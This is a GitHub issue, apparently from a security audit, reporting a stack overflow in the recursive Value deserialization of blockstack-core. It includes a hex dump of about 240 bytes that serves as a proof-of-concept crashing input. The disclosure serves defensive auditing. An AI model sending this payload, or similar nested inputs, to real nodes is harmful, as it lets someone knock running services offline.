Skip to content
This repository was archived by the owner on Dec 16, 2020. It is now read-only.

Stack overflow in Value::consensus_deserialize #8

Open
smoelius opened this issue Feb 17, 2020 · 0 comments
Open

Stack overflow in Value::consensus_deserialize #8

smoelius opened this issue Feb 17, 2020 · 0 comments

Comments

@smoelius
Copy link

Value::consensus_deserialize calls Value::deserialize_read, and Value::deserialize_read calls itself here:
https://github.com/trailofbits/x-audit-blockstack-core/blob/e2d3d5bae539d242851620e28129af6c4a9de642/src/vm/types/serialization.rs#L285
However, only one bytes has been consumed from the input when the recursive call is made. On the Linux box on which I am performing these experiments, about 240 calls are sufficient to overflow the stack. Thus, ~240 byte input is sufficient to overflow the stack. The following is an example:

00000000: 0808 0808 0808 0808 0808 0707 0708 0807  ................
00000010: 0808 0808 0808 0807 0808 0808 0807 0808  ................
00000020: 0707 0807 0708 0807 0808 0808 0808 0807  ................
00000030: 0808 0808 0807 0808 0707 0807 0807 0807  ................
00000040: 0808 0808 0808 0807 0808 0808 0807 0808  ................
00000050: 0708 0808 0808 0808 0808 0707 0807 0808  ................
00000060: 0808 0808 0708 0807 0707 0808 0707 0808  ................
00000070: 0708 0808 0808 0708 0807 0708 0708 0708  ................
00000080: 0808 0808 0808 0707 0807 0807 0807 0807  ................
00000090: 0808 0808 0808 0807 0808 0808 0807 0808  ................
000000a0: 0708 0808 0808 0808 0808 0707 0807 0808  ................
000000b0: 0808 0808 0708 0807 0707 0808 0707 0808  ................
000000c0: 0708 0808 0808 0708 0807 0708 0708 0708  ................
000000d0: 0808 0808 0808 0707 0807 0808 0808 0808  ................
000000e0: 0708 0807 0707 0808 0707 0808 0807 0808  ................
000000f0: 0707 0708                                ....
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
Development

No branches or pull requests

2 participants